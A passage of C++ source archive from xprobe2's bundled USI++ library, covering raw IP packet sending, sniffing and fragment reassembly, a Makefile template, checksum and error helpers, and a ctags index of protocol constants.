gethostbyname(host)) == NULL) { herror("IP::set_dst::gethostbyname"); exit(errno); } memcpy(&iph.daddr, he->h_addr, he->h_length); return 0; } iphdr IP::get_iphdr() const { return iph; } int IP::set_iphdr(struct iphdr _iph) { iph = _iph; return 0; } /* Send a packet, containing 'paylen' bytes of data. */ int IP::sendpack(void *payload, size_t paylen) { // get mem for packet char *s = new char[paylen+sizeof(iph)+1]; memset(s, 0, paylen+sizeof(iph)+1); // We give luser the chance to set wrong length's // if he really want's to ... if (get_totlen() == 0) set_totlen(paylen + sizeof(iph)); // how long ? #ifdef BROKEN_BSD iph.tot_len = ntohs(iph.tot_len); iph.frag_off= ntohs(iph.frag_off); #endif /* If checksum is 0, kernel will set it. */ if (iph.check != 0) iph.check = in_cksum((unsigned short*)&iph, sizeof(iph), 0); memcpy(s, &iph, sizeof(iph)); memcpy(s + sizeof(iph), payload, paylen); sockaddr_in saddr; saddr.sin_family = AF_INET; saddr.sin_port = 0; saddr.sin_addr.s_addr = iph.daddr; Layer2::sendpack(s, paylen + sizeof(iph), (struct sockaddr*)&saddr); #ifdef BROKEN_BSD iph.tot_len = htons(iph.tot_len); iph.frag_off = htons(iph.frag_off); #endif delete [] s; return 0; } int IP::sendpack(char *payload) { return sendpack((void*)payload, strlen(payload)); } /*! Handle packets, that are NOT actually for the * local adress! */ int IP::sniffpack(void *buf, size_t len) { int r = 0; int xlen = len + sizeof(iph) + sizeof(ipOptions); struct usipp::iphdr *i = NULL; char *tmp = new char[xlen]; memset(tmp, 0, xlen); memset(buf, 0, len); /* until we assembled fragments or we received and unfragemented packet */ while (i == NULL) { memset(tmp, 0, xlen); if ((r = Layer2::sniffpack(tmp, xlen)) == 0 && Layer2::timeout()) { delete[] tmp; return 0; // timeout } #ifdef USI_REASSEMBLE i = (struct usipp::iphdr*)reassemble(tmp, len, &r); #else i = (struct usipp::iphdr*)tmp; #endif } #ifdef USI_DEBUG cerr<<"IP::r="< pending; fragments *f = NULL; int ihl = 0, xlen = 0, offset = 0; unsigned int i = 0; struct usipp::iphdr *ip = (struct usipp::iphdr*)(packet); ihl = ip->ihl<<2; /* can't be > 60 */ if (ihl > 60) ihl = 60; /* if fragment-offset and DF-bit not set */ if (ntohs(ip->frag_off) != 0 && (ntohs(ip->frag_off) & IP_DF) != IP_DF) { /* for all pending fragments */ for (i = 0; i < pending.size(); i++) { if (pending[i] == NULL) continue; /* if we already have something that belongs to * _this_ fragment */ if (ntohs(ip->id) == pending[i]->id) { f = pending[i]; break; } } /* otherwise its the first one */ if (f == NULL) { f = new fragments; f->id = ntohs(ip->id); f->data = new char[len + ihl]; f->len = 0; // # of bytes that are captured yet f->origLen = 0xffff; // # of bytes IP-packet once contained f->userLen = 0; // # of bytes saved memset(f->data, 0, len + ihl); memcpy(f->data, packet, ihl); pending.push_back(f); } offset = 8*(ntohs(ip->frag_off) & IP_OFFMASK); if (offset + ntohs(ip->tot_len) - ihl <= len) xlen = ntohs(ip->tot_len) - ihl; else xlen = len - offset; /* Copy IP-data to the right offset. * It may happen, that offset points out of our data-area. * In this case is xlen < 0 and we ignore it. */ if (xlen > 0) { memcpy(f->data + offset + ihl, packet + ihl, xlen ); /* This is for the caller; how much was * fetched AND COPIED for her. */ f->userLen += xlen; } /* We even count the not copied data! */ f->len += ntohs(ip->tot_len) - ihl; /* OK, we received the last fragment with this id, so calculate * how the original size of this packet was */ if ((ntohs(ip->frag_off) != 0 && (ntohs(ip->frag_off) & IP_MF) == 0)) { f->origLen = ntohs(ip->tot_len) + offset - ihl; } /* In case we reached the original len -> all fragments * are received and assembled. * NOTE that f->len counts the # of bytes _received_, not saved! * The # of saved bytes is in f->userLen. */ if (f->len == f->origLen) { /* should not be necessary, but */ if (i >= 0 && i < pending.size()) pending[i] = NULL; struct usipp::iphdr *ih = (struct usipp::iphdr*)(f->data); ih->frag_off = 0; ih->tot_len = htons(ihl + f->len); *resultLen = ihl + f->userLen; /* packet must at least be 'len+ihl' bytes big, * where 'ihl' is max. 60. */ memset(packet, 0, len+ihl); memcpy(packet, f->data, len+ihl); delete [] f->data; delete f; return packet; } else { *resultLen = 0; return NULL; } /* else, packet is not fragmented */ } else { *resultLen = ntohs(ip->tot_len); /* return IP-packet, hw-frame skipped */ return packet; } } std::string IP::to_string(void) { char buf[4096], src_str[256], dst_str[256]; string retval; memset(buf, 0, sizeof(buf)); // hrm using inet_ntoa() two times in a row in one snprintf statement // cases it to display the same IP for both, while they are actually different snprintf(buf, sizeof(buf), "+--------------------------------[ IP ]\n| src=%s dst=%s hlen=%d totlen=%d tos=0x%x fragoff=0x%x ttl=%d id=%d\n+--------------------------------\n", get_src(0, src_str, sizeof(src_str)), get_dst(0, dst_str, sizeof(dst_str)), get_hlen(), get_totlen(), get_tos(), get_fragoff(), get_ttl(), get_id()); retval = buf; return retval; } } // namespace usipp xprobe2-0.3/libs-external/USI++/src/Layer2.cc000755 001751 000000 00000003534 10271643767 021003 0ustar00mederwheel000000 000000 /*** This Programs/Libraries are (C)opyright by Sebastian Krahmer. *** You may use it under the terms of the GPL. You should have *** already received the file COPYING that shows you your rights. *** Please look at COPYING for further license-details. *** *** THERE IS ABSOLUTELY NO WARRANTY. SO YOU USE IT AT YOUR OWN RISK. *** IT WAS WRITTEN IN THE HOPE THAT IT WILL BE USEFULL. I AM NOT RESPONSIBLE *** FOR ANY DAMAGE YOU MAYBE GET DUE TO USING MY PROGRAMS. ***/ #include "config.h" #include "usi++/usi-structs.h" #include "usi++/RX.h" #include "usi++/TX.h" #include "usi++/Layer2.h" #include "usi++/datalink.h" #include "usi++/TX_IP.h" #include #include namespace usipp { Layer2::Layer2(RX *r, TX *t) { if (!r) d_rx = new Pcap; else d_rx = r; if (!t) d_tx = new TX_IP; else d_tx = t; } Layer2::Layer2(const Layer2& rhs) { d_rx = new Pcap; d_tx = new TX_IP; } Layer2::~Layer2() { if (d_rx) { delete d_rx; d_rx = NULL; } if (d_tx) { delete d_tx; d_tx=NULL; } } int Layer2::sendpack(void *buf, size_t len, struct sockaddr *s) { return d_tx->sendpack(buf, len, s); } // delegate sniff request to the receiver int Layer2::sniffpack(void *buf, size_t len) { return d_rx->sniffpack(buf, len); } int Layer2::setfilter(char *fstring) { return d_rx->setfilter(fstring); } int Layer2::init_device(char *dev, int p, size_t snaplen) { return d_rx->init_device(dev, p, snaplen); } int Layer2::timeout(struct timeval tv) { if (d_rx) return d_rx->timeout(tv); if (d_tx) return d_tx->timeout(tv); return -1; } bool Layer2::timeout() { if (d_rx) return d_rx->timeout(); if (d_tx) return d_tx->timeout(); return false; } Layer2& Layer2::operator=(const Layer2 &rhs ) { if (this == &rhs) return *this; d_rx = new Pcap; d_tx = new TX_IP; return *this; } } // namespace usipp xprobe2-0.3/libs-external/USI++/src/Makefile.in000755 001751 000000 00000002301 10271643767 021372 0ustar00mederwheel000000 000000 # USI++ Makefile # LIBS=@LIBS@ CFLAGS=@CFLAGS@ -I/usr/include/pcap -I. -Wall CXX=@CXX@ INSTALL=@INSTALL@ RANLIB=@RANLIB@ all: usi++ .PHONY: usi++ clear: clear usi++:icmp.o datalink.o ip.o misc.o udp.o tcp.o TX_IP.o Layer2.o arp.o ar cr libusi++.a *.o # ld *.o -Bshareable -o libusi++.so $(RANLIB) libusi++.a rm -f *.o arp.o: arp.cc $(CXX) $(CFLAGS) -c -O2 arp.cc datalink.o: datalink.cc $(CXX) $(CFLAGS) -c -O2 datalink.cc icmp.o: icmp.cc $(CXX) $(CFLAGS) -c -O2 icmp.cc ip.o: ip.cc $(CXX) $(CFLAGS) -c -O2 ip.cc misc.o: misc.cc $(CXX) $(CFLAGS) -c -O2 misc.cc udp.o: udp.cc $(CXX) $(CFLAGS) -c -O2 udp.cc tcp.o: tcp.cc $(CXX) $(CFLAGS) -c -O2 tcp.cc Layer2.o: Layer2.cc $(CXX) $(CFLAGS) -c -O2 Layer2.cc TX_IP.o: TX_IP.cc $(CXX) $(CFLAGS) -c -O2 TX_IP.cc install: $(INSTALL) -g bin -o root -m 0755 libusi++.* /usr/lib mkdir -m 0755 /usr/include/usi++||true cp -R usi++/* /usr/include/usi++ chown -R root /usr/include/usi++ @echo To build programs using libusi++, you have to do \'c++ foo.cc -lusi++ $(LIBS)\' uninstall: rm -f /usr/lib/libusi++.a rm -rf /usr/include/usi++ clean: rm -f *.o *.a distclean: rm -f *.o *.a Makefile config.log config.status config.h usi++ *.so xprobe2-0.3/libs-external/USI++/src/misc.cc000755 001751 000000 00000003745 10271643767 020604 0ustar00mederwheel000000 000000 #include "usi++/usi++" #include "usi++/usi-structs.h" #include #include #include #include namespace usipp { typedef u_int16_t u_short; bool exceptions = false; // ripped code, slightly modified // to pad odd length automagically (UDP,TCP) unsigned short in_cksum (unsigned short *ptr, int nbytes, bool may_pad) { register long sum; /* assumes long == 32 bits */ u_short oddbyte; register u_short answer; /* assumes u_short == 16 bits */ /* For psuedo-headers: odd len's require * padding. We assume that UDP,TCP always * gives enough room for computation */ if (nbytes % 2 && may_pad) ++nbytes; /* * Our algorithm is simple, using a 32-bit accumulator (sum), * we add sequential 16-bit words to it, and at the end, fold back * all the carry bits from the top 16 bits into the lower 16 bits. */ sum = 0; while (nbytes > 1) { sum += *ptr++; nbytes -= 2; } /* mop up an odd byte, if necessary */ if (nbytes == 1) { oddbyte = 0; /* make sure top half is zero */ *((unsigned char *) & oddbyte) = *(unsigned char *) ptr; /* one byte only */ sum += oddbyte; } /* * Add back carry outs from top 16 bits to low 16 bits. */ sum = (sum >> 16) + (sum & 0xffff); /* add high-16 to low-16 */ sum += (sum >> 16); /* add carry */ answer = ~sum; /* ones-complement, then truncate to 16 bits */ return (answer); } /*! Turn throwing of exceptions on or off. */ int useException(bool how) { exceptions = how; return 0; } void die(const char *message, errorFuncs what, int error) { if (exceptions) { throw usifault(message); } /* Not reached, if 'exceptions' was true */ switch (what) { case PERROR: perror(message); break; case STDERR: fprintf(stderr, "%s", message); break; case HERROR: (void)herror(message); break; case PCAP: fprintf(stderr, "%s", pcap_strerror(error)); break; default: break; } exit(error); } } // namespace usipp xprobe2-0.3/libs-external/USI++/src/tags000755 001751 000000 00000103745 10271643767 020224 0ustar00mederwheel000000 000000 !_TAG_FILE_FORMAT 2 /extended format; --format=1 will not append ;" to lines/ !_TAG_FILE_SORTED 1 /0=unsorted, 1=sorted/ !_TAG_PROGRAM_AUTHOR Darren Hiebert /darren@hiebert.com/ !_TAG_PROGRAM_NAME Exuberant Ctags // !_TAG_PROGRAM_URL http://darren.hiebert.com/ctags/ /official site/ !_TAG_PROGRAM_VERSION 3.3.1 /with C, C++, Eiffel, Fortran, and Java support/ ARP arp.cc /^ARP::ARP()$/;" f namespace:usipp ARP usi++/arp.h /^class ARP : public Layer2 {$/;" c namespace:usipp ARPHRD_ADAPT usi++/usi-structs.h 154;" d ARPHRD_APPLETLK usi++/usi-structs.h 144;" d ARPHRD_ARCNET usi++/usi-structs.h 143;" d ARPHRD_ASH usi++/usi-structs.h 174;" d ARPHRD_AX25 usi++/usi-structs.h 139;" d ARPHRD_BIF usi++/usi-structs.h 168;" d ARPHRD_CHAOS usi++/usi-structs.h 141;" d ARPHRD_CSLIP usi++/usi-structs.h 150;" d ARPHRD_CSLIP6 usi++/usi-structs.h 152;" d ARPHRD_DLCI usi++/usi-structs.h 145;" d ARPHRD_ECONET usi++/usi-structs.h 175;" d ARPHRD_EETHER usi++/usi-structs.h 138;" d ARPHRD_ETHER usi++/usi-structs.h 137;" d ARPHRD_FCAL usi++/usi-structs.h 178;" d ARPHRD_FCPFABRIC usi++/usi-structs.h 180;" d ARPHRD_FCPL usi++/usi-structs.h 179;" d ARPHRD_FCPP usi++/usi-structs.h 177;" d ARPHRD_FDDI usi++/usi-structs.h 167;" d ARPHRD_FRAD usi++/usi-structs.h 163;" d ARPHRD_HDLC usi++/usi-structs.h 158;" d ARPHRD_HIPPI usi++/usi-structs.h 173;" d ARPHRD_IEEE802 usi++/usi-structs.h 142;" d ARPHRD_IPDDP usi++/usi-structs.h 170;" d ARPHRD_IPGRE usi++/usi-structs.h 171;" d ARPHRD_IRDA usi++/usi-structs.h 176;" d ARPHRD_LAPB usi++/usi-structs.h 159;" d ARPHRD_LOCALTLK usi++/usi-structs.h 166;" d ARPHRD_LOOPBACK usi++/usi-structs.h 165;" d ARPHRD_METRICOM usi++/usi-structs.h 146;" d ARPHRD_NETROM usi++/usi-structs.h 136;" d ARPHRD_PIMREG usi++/usi-structs.h 172;" d ARPHRD_PPP usi++/usi-structs.h 157;" d ARPHRD_PRONET usi++/usi-structs.h 140;" d ARPHRD_ROSE usi++/usi-structs.h 155;" d ARPHRD_RSRVD usi++/usi-structs.h 153;" d ARPHRD_SIT usi++/usi-structs.h 169;" d ARPHRD_SKIP usi++/usi-structs.h 164;" d ARPHRD_SLIP usi++/usi-structs.h 149;" d ARPHRD_SLIP6 usi++/usi-structs.h 151;" d ARPHRD_TUNNEL usi++/usi-structs.h 161;" d ARPHRD_TUNNEL6 usi++/usi-structs.h 162;" d ARPHRD_X25 usi++/usi-structs.h 156;" d ARPOP_REPLY usi++/usi-structs.h 131;" d ARPOP_REQUEST usi++/usi-structs.h 130;" d ARPOP_RREPLY usi++/usi-structs.h 133;" d ARPOP_RREQUEST usi++/usi-structs.h 132;" d ETH_ALEN usi++/usi-structs.h 41;" d ETH_P_802_2 usi++/usi-structs.h 91;" d ETH_P_802_3 usi++/usi-structs.h 88;" d ETH_P_AARP usi++/usi-structs.h 80;" d ETH_P_ALL usi++/usi-structs.h 90;" d ETH_P_ARP usi++/usi-structs.h 68;" d ETH_P_ATALK usi++/usi-structs.h 79;" d ETH_P_AX25 usi++/usi-structs.h 89;" d ETH_P_BPQ usi++/usi-structs.h 69;" d ETH_P_CONTROL usi++/usi-structs.h 100;" d ETH_P_CUST usi++/usi-structs.h 76;" d ETH_P_DDCMP usi++/usi-structs.h 93;" d ETH_P_DEC usi++/usi-structs.h 70;" d ETH_P_DIAG usi++/usi-structs.h 75;" d ETH_P_DNA_DL usi++/usi-structs.h 71;" d ETH_P_DNA_RC usi++/usi-structs.h 72;" d ETH_P_DNA_RT usi++/usi-structs.h 73;" d ETH_P_ECHO usi++/usi-structs.h 64;" d ETH_P_IP usi++/usi-structs.h 66;" d ETH_P_IPV6 usi++/usi-structs.h 82;" d ETH_P_IPX usi++/usi-structs.h 81;" d ETH_P_IRDA usi++/usi-structs.h 101;" d ETH_P_LAT usi++/usi-structs.h 74;" d ETH_P_LOCALTALK usi++/usi-structs.h 96;" d ETH_P_LOOP usi++/usi-structs.h 63;" d ETH_P_MOBITEX usi++/usi-structs.h 99;" d ETH_P_PPPTALK usi++/usi-structs.h 97;" d ETH_P_PPP_MP usi++/usi-structs.h 95;" d ETH_P_PUP usi++/usi-structs.h 65;" d ETH_P_RARP usi++/usi-structs.h 78;" d ETH_P_SCA usi++/usi-structs.h 77;" d ETH_P_SNAP usi++/usi-structs.h 92;" d ETH_P_TR_802_2 usi++/usi-structs.h 98;" d ETH_P_WAN_PPP usi++/usi-structs.h 94;" d ETH_P_X25 usi++/usi-structs.h 67;" d HAVE_FCNTL_H config.h 30;" d HAVE_FCNTL_H usi++/config.h 30;" d HAVE_NETPACKET_PACKET_H config.h 53;" d HAVE_NETPACKET_PACKET_H usi++/config.h 53;" d HAVE_SYS_IOCTL_H config.h 36;" d HAVE_SYS_IOCTL_H usi++/config.h 36;" d HAVE_SYS_TIME_H config.h 42;" d HAVE_SYS_TIME_H usi++/config.h 42;" d HAVE_UNISTD_H config.h 48;" d HAVE_UNISTD_H usi++/config.h 48;" d HERROR usi++/usi++.h /^ HERROR,$/;" e enum:usipp:: ICMP icmp.cc /^ICMP::ICMP(const ICMP &rhs)$/;" f namespace:usipp ICMP icmp.cc /^ICMP::ICMP(const char* host) $/;" f namespace:usipp ICMP usi++/icmp.h /^class ICMP : public IP {$/;" c namespace:usipp ICMP_ADDRESS usi++/usi-structs.h 230;" d ICMP_ADDRESSREPLY usi++/usi-structs.h 231;" d ICMP_DEST_UNREACH usi++/usi-structs.h 220;" d ICMP_ECHO usi++/usi-structs.h 223;" d ICMP_ECHOREPLY usi++/usi-structs.h 219;" d ICMP_EXC_FRAGTIME usi++/usi-structs.h 262;" d ICMP_EXC_TTL usi++/usi-structs.h 261;" d ICMP_FRAG_NEEDED usi++/usi-structs.h 240;" d ICMP_HOST_ANO usi++/usi-structs.h 246;" d ICMP_HOST_ISOLATED usi++/usi-structs.h 244;" d ICMP_HOST_UNKNOWN usi++/usi-structs.h 243;" d ICMP_HOST_UNREACH usi++/usi-structs.h 237;" d ICMP_HOST_UNR_TOS usi++/usi-structs.h 248;" d ICMP_INFO_REPLY usi++/usi-structs.h 229;" d ICMP_INFO_REQUEST usi++/usi-structs.h 228;" d ICMP_NET_ANO usi++/usi-structs.h 245;" d ICMP_NET_UNKNOWN usi++/usi-structs.h 242;" d ICMP_NET_UNREACH usi++/usi-structs.h 236;" d ICMP_NET_UNR_TOS usi++/usi-structs.h 247;" d ICMP_PARAMETERPROB usi++/usi-structs.h 225;" d ICMP_PKT_FILTERED usi++/usi-structs.h 249;" d ICMP_PORT_UNREACH usi++/usi-structs.h 239;" d ICMP_PREC_CUTOFF usi++/usi-structs.h 251;" d ICMP_PREC_VIOLATION usi++/usi-structs.h 250;" d ICMP_PROT_UNREACH usi++/usi-structs.h 238;" d ICMP_REDIRECT usi++/usi-structs.h 222;" d ICMP_REDIR_HOST usi++/usi-structs.h 256;" d ICMP_REDIR_HOSTTOS usi++/usi-structs.h 258;" d ICMP_REDIR_NET usi++/usi-structs.h 255;" d ICMP_REDIR_NETTOS usi++/usi-structs.h 257;" d ICMP_SOURCE_QUENCH usi++/usi-structs.h 221;" d ICMP_SR_FAILED usi++/usi-structs.h 241;" d ICMP_TIMESTAMP usi++/usi-structs.h 226;" d ICMP_TIMESTAMPREPLY usi++/usi-structs.h 227;" d ICMP_TIME_EXCEEDED usi++/usi-structs.h 224;" d IFF_ALLMULTI usi++/if.h /^ IFF_ALLMULTI = 0x200, \/* Receive all multicast packets. *\/$/;" e IFF_ALLMULTI usi++/if.h 51;" d IFF_AUTOMEDIA usi++/if.h /^ IFF_AUTOMEDIA = 0x4000 \/* Auto media select active. *\/$/;" e IFF_AUTOMEDIA usi++/if.h 64;" d IFF_BROADCAST usi++/if.h /^ IFF_BROADCAST = 0x2, \/* Broadcast address valid. *\/$/;" e IFF_BROADCAST usi++/if.h 33;" d IFF_DEBUG usi++/if.h /^ IFF_DEBUG = 0x4, \/* Turn on debugging. *\/$/;" e IFF_DEBUG usi++/if.h 35;" d IFF_LOOPBACK usi++/if.h /^ IFF_LOOPBACK = 0x8, \/* Is a loopback net. *\/$/;" e IFF_LOOPBACK usi++/if.h 37;" d IFF_MASTER usi++/if.h /^ IFF_MASTER = 0x400, \/* Master of a load balancer. *\/$/;" e IFF_MASTER usi++/if.h 54;" d IFF_MULTICAST usi++/if.h /^ IFF_MULTICAST = 0x1000, \/* Supports multicast. *\/$/;" e IFF_MULTICAST usi++/if.h 59;" d IFF_NOARP usi++/if.h /^ IFF_NOARP = 0x80, \/* No address resolution protocol. *\/$/;" e IFF_NOARP usi++/if.h 45;" d IFF_NOTRAILERS usi++/if.h /^ IFF_NOTRAILERS = 0x20, \/* Avoid use of trailers. *\/$/;" e IFF_NOTRAILERS usi++/if.h 41;" d IFF_POINTOPOINT usi++/if.h /^ IFF_POINTOPOINT = 0x10, \/* Interface is point-to-point link. *\/$/;" e IFF_POINTOPOINT usi++/if.h 39;" d IFF_PORTSEL usi++/if.h /^ IFF_PORTSEL = 0x2000, \/* Can set media type. *\/$/;" e IFF_PORTSEL usi++/if.h 62;" d IFF_PROMISC usi++/if.h /^ IFF_PROMISC = 0x100, \/* Receive all packets. *\/$/;" e IFF_PROMISC usi++/if.h 47;" d IFF_RUNNING usi++/if.h /^ IFF_RUNNING = 0x40, \/* Resources allocated. *\/$/;" e IFF_RUNNING usi++/if.h 43;" d IFF_SLAVE usi++/if.h /^ IFF_SLAVE = 0x800, \/* Slave of a load balancer. *\/$/;" e IFF_SLAVE usi++/if.h 56;" d IFF_UP usi++/if.h /^ IFF_UP = 0x1, \/* Interface is up. *\/$/;" e IFF_UP usi++/if.h 31;" d IFHWADDRLEN usi++/if.h 112;" d IFNAMSIZ usi++/if.h 113;" d IP ip.cc /^IP::IP(const IP &rhs)$/;" f namespace:usipp IP ip.cc /^IP::IP(const char *dst, u_int8_t proto)$/;" f namespace:usipp IP ip.cc /^IP::IP(u_int32_t dst, u_int8_t proto)$/;" f namespace:usipp IP usi++/ip.h /^class IP : public Layer2 {$/;" c namespace:usipp IPPROTO_ICMP icmp.cc 25;" d file: IPPROTO_TCP tcp.cc 24;" d file: IPPROTO_UDP udp.cc 22;" d file: IP_DF usi++/usi-structs.h 343;" d IP_MF usi++/usi-structs.h 346;" d IP_OFFMASK usi++/usi-structs.h 349;" d IP_RF usi++/usi-structs.h 340;" d Layer2 Layer2.cc /^Layer2::Layer2(RX *r, TX *t)$/;" f namespace:usipp Layer2 usi++/Layer2.h /^class Layer2 {$/;" c namespace:usipp MAXHOSTLEN usi++/usi-structs.h 27;" d NR_ICMP_TYPES usi++/usi-structs.h 232;" d NR_ICMP_UNREACH usi++/usi-structs.h 252;" d PCAP usi++/usi++.h /^ PCAP,$/;" e enum:usipp:: PERROR usi++/usi++.h /^ PERROR = 0,$/;" e enum:usipp:: Pcap datalink.cc /^Pcap::Pcap()$/;" f namespace:usipp Pcap datalink.cc /^Pcap::Pcap(char *filterStr)$/;" f namespace:usipp Pcap datalink.cc /^Pcap::Pcap(const Pcap &rhs)$/;" f namespace:usipp Pcap usi++/datalink.h /^class Pcap : public RX {$/;" c namespace:usipp RX usi++/RX.h /^ RX() {}$/;" f class:usipp::RX RX usi++/RX.h /^class RX {$/;" c namespace:usipp STDC_HEADERS config.h 21;" d STDC_HEADERS usi++/config.h 21;" d STDERR usi++/usi++.h /^ STDERR$/;" e enum:usipp:: TCP tcp.cc /^TCP::TCP(const TCP &rhs)$/;" f namespace:usipp TCP tcp.cc /^TCP::TCP(const char *host)$/;" f namespace:usipp TCP usi++/tcp.h /^class TCP : public IP {$/;" c namespace:usipp TCPOLEN_MAXSEG usi++/usi-structs.h 374;" d TCPOLEN_SACK_PERMITTED usi++/usi-structs.h 378;" d TCPOLEN_TIMESTAMP usi++/usi-structs.h 381;" d TCPOLEN_TSTAMP_APPA usi++/usi-structs.h 382;" d TCPOLEN_WINDOW usi++/usi-structs.h 376;" d TCPOPT_EOL usi++/usi-structs.h 371;" d TCPOPT_MAXSEG usi++/usi-structs.h 373;" d TCPOPT_NOP usi++/usi-structs.h 372;" d TCPOPT_SACK usi++/usi-structs.h 379;" d TCPOPT_SACK_PERMITTED usi++/usi-structs.h 377;" d TCPOPT_TIMESTAMP usi++/usi-structs.h 380;" d TCPOPT_WINDOW usi++/usi-structs.h 375;" d TH_ACK usi++/usi-structs.h 313;" d TH_FIN usi++/usi-structs.h 301;" d TH_PUSH usi++/usi-structs.h 310;" d TH_RST usi++/usi-structs.h 307;" d TH_SYN usi++/usi-structs.h 304;" d TH_URG usi++/usi-structs.h 316;" d TIME_WITH_SYS_TIME config.h 24;" d TIME_WITH_SYS_TIME usi++/config.h 24;" d TX usi++/TX.h /^ TX() {}$/;" f class:usipp::TX TX usi++/TX.h /^class TX {$/;" c namespace:usipp TX_IP usi++/TX_IP.h /^ TX_IP() : rawfd(-1) {}$/;" f class:usipp::TX_IP TX_IP usi++/TX_IP.h /^class TX_IP : public TX {$/;" c namespace:usipp UDP udp.cc /^UDP::UDP(const UDP &rhs)$/;" f namespace:usipp UDP udp.cc /^UDP::UDP(const char *host)$/;" f namespace:usipp UDP usi++/udp.h /^class UDP : public IP {$/;" c namespace:usipp USI_VERSION usi++/usi++.h 16;" d _ARP_H_ usi++/arp.h 13;" d _DATALINK_H_ usi++/datalink.h 11;" d _ICMP_H_ usi++/icmp.h 12;" d _IP_H_ usi++/ip.h 12;" d _LAYER2_H_ usi++/Layer2.h 11;" d _NET_IF_H usi++/if.h 21;" d _RX_H_ usi++/RX.h 11;" d _TCP_H_ usi++/tcp.h 13;" d _TX_H_ usi++/TX.h 11;" d _TX_IP_H_ usi++/TX_IP.h 11;" d _UDP_H_ usi++/udp.h 13;" d _USIPP_H_ usi++/usi++.h 13;" d _USI_CONFIG_H_ config.h 3;" d _USI_CONFIG_H_ usi++/config.h 3;" d _USI_STRUCTS_H_ usi++/usi-structs.h 13;" d ar_hln usi++/usi-structs.h /^ unsigned char ar_hln; \/\/ Length of hardware address. $/;" m struct:usipp::arphdr ar_hrd usi++/usi-structs.h /^ u_int16_t ar_hrd; \/\/ Format of hardware address. $/;" m struct:usipp::arphdr ar_op usi++/usi-structs.h /^ u_int16_t ar_op; \/\/ ARP opcode (command). $/;" m struct:usipp::arphdr ar_pln usi++/usi-structs.h /^ unsigned char ar_pln; \/\/ Length of protocol address. $/;" m struct:usipp::arphdr ar_pro usi++/usi-structs.h /^ u_int16_t ar_pro; \/\/ Format of protocol address. $/;" m struct:usipp::arphdr arp_hln usi++/usi-structs.h 195;" d arp_hrd usi++/usi-structs.h 193;" d arp_op usi++/usi-structs.h 197;" d arp_pln usi++/usi-structs.h 196;" d arp_pro usi++/usi-structs.h 194;" d arp_sha usi++/usi-structs.h /^ u_int8_t arp_sha[ETH_ALEN]; \/\/ sender hardware address $/;" m struct:usipp::ether_arp arp_spa usi++/usi-structs.h /^ u_int8_t arp_spa[4]; \/\/ sender protocol address $/;" m struct:usipp::ether_arp arp_tha usi++/usi-structs.h /^ u_int8_t arp_tha[ETH_ALEN]; \/\/ target hardware address $/;" m struct:usipp::ether_arp arp_tpa usi++/usi-structs.h /^ u_int8_t arp_tpa[4]; \/\/ target protocol address $/;" m struct:usipp::ether_arp arphdr usi++/arp.h /^ struct ether_arp arphdr;$/;" m class:usipp::ARP arphdr usi++/usi-structs.h /^struct arphdr {$/;" s namespace:usipp base_addr usi++/if.h /^ unsigned short int base_addr;$/;" m struct:ifmap check usi++/usi-structs.h /^ u_int16_t check;$/;" m struct:usipp::udphdr check usi++/usi-structs.h /^ u_int16_t check;$/;" m struct:usipp::iphdr code usi++/usi-structs.h /^ u_int8_t code;$/;" m struct:usipp::icmphdr daddr usi++/usi-structs.h /^ u_int32_t daddr;$/;" m struct:usipp::iphdr daddr usi++/usi-structs.h /^ u_int32_t daddr;$/;" m struct:usipp::pseudohdr data usi++/usi-structs.h /^ char *data; \/\/ the packet itself$/;" m struct:usipp::fragments datalink usi++/datalink.h /^ int datalink;$/;" m class:usipp::Pcap dest usi++/usi-structs.h /^ u_int16_t dest;$/;" m struct:usipp::udphdr dev usi++/datalink.h /^ char dev[10];$/;" m class:usipp::Pcap die misc.cc /^void die(const char *message, errorFuncs what, int error)$/;" f namespace:usipp dma usi++/if.h /^ unsigned char dma;$/;" m struct:ifmap ea_hdr usi++/usi-structs.h /^ struct arphdr ea_hdr; \/\/ fixed-size header $/;" m struct:usipp::ether_arp echo usi++/usi-structs.h /^ } echo;$/;" m union:usipp::icmphdr:: errorFuncs usi++/usi++.h /^} errorFuncs;$/;" t namespace:usipp ether usi++/datalink.h /^ struct ether_header ether;$/;" m class:usipp::Pcap ether_addr usi++/usi-structs.h /^struct ether_addr$/;" s namespace:usipp ether_addr_octet usi++/usi-structs.h /^ u_int8_t ether_addr_octet[ETH_ALEN];$/;" m struct:usipp::ether_addr ether_arp usi++/usi-structs.h /^struct ether_arp {$/;" s namespace:usipp ether_dhost usi++/usi-structs.h /^ u_int8_t ether_dhost[ETH_ALEN]; \/\/ destination eth addr $/;" m struct:usipp::ether_header ether_header usi++/usi-structs.h /^struct ether_header$/;" s namespace:usipp ether_shost usi++/usi-structs.h /^ u_int8_t ether_shost[ETH_ALEN]; \/\/ source ether addr $/;" m struct:usipp::ether_header ether_type usi++/usi-structs.h /^ u_int16_t ether_type; \/\/ packet type ID field $/;" m struct:usipp::ether_header exceptions misc.cc /^bool exceptions = false;$/;" m namespace:usipp fault usi++/usi++.h /^ string fault;$/;" m class:usipp::usifault filter usi++/datalink.h /^ struct bpf_program filter;$/;" m class:usipp::Pcap filter_string usi++/datalink.h /^ char filter_string[1000];$/;" m class:usipp::Pcap frag usi++/usi-structs.h /^ } frag;$/;" m union:usipp::icmphdr:: frag_off usi++/usi-structs.h /^ u_int16_t frag_off;$/;" m struct:usipp::iphdr fragments usi++/usi-structs.h /^struct fragments {$/;" s namespace:usipp framelen usi++/datalink.h /^ size_t framelen, snaplen;$/;" m class:usipp::Pcap gateway usi++/usi-structs.h /^ u_int32_t gateway;$/;" m union:usipp::icmphdr:: get_ack tcp.cc /^u_int32_t TCP::get_ack()$/;" f namespace:usipp get_code icmp.cc /^u_int8_t ICMP::get_code()$/;" f namespace:usipp get_datalink datalink.cc /^int Pcap::get_datalink()$/;" f namespace:usipp get_dst ip.cc /^char *IP::get_dst(int resolv, char *s, size_t len)$/;" f namespace:usipp get_dst ip.cc /^u_int32_t IP::get_dst()$/;" f namespace:usipp get_dstport tcp.cc /^u_int16_t TCP:: get_dstport()$/;" f namespace:usipp get_dstport udp.cc /^u_int16_t UDP::get_dstport()$/;" f namespace:usipp get_etype datalink.cc /^u_int16_t Pcap::get_etype()$/;" f namespace:usipp get_flags tcp.cc /^u_int8_t TCP::get_flags()$/;" f namespace:usipp get_fragoff ip.cc /^u_int16_t IP::get_fragoff()$/;" f namespace:usipp get_frame datalink.cc /^void *Pcap::get_frame(void *hwframe, size_t len)$/;" f namespace:usipp get_framelen datalink.cc /^int Pcap::get_framelen()$/;" f namespace:usipp get_gateway icmp.cc /^u_int32_t ICMP::get_gateway()$/;" f 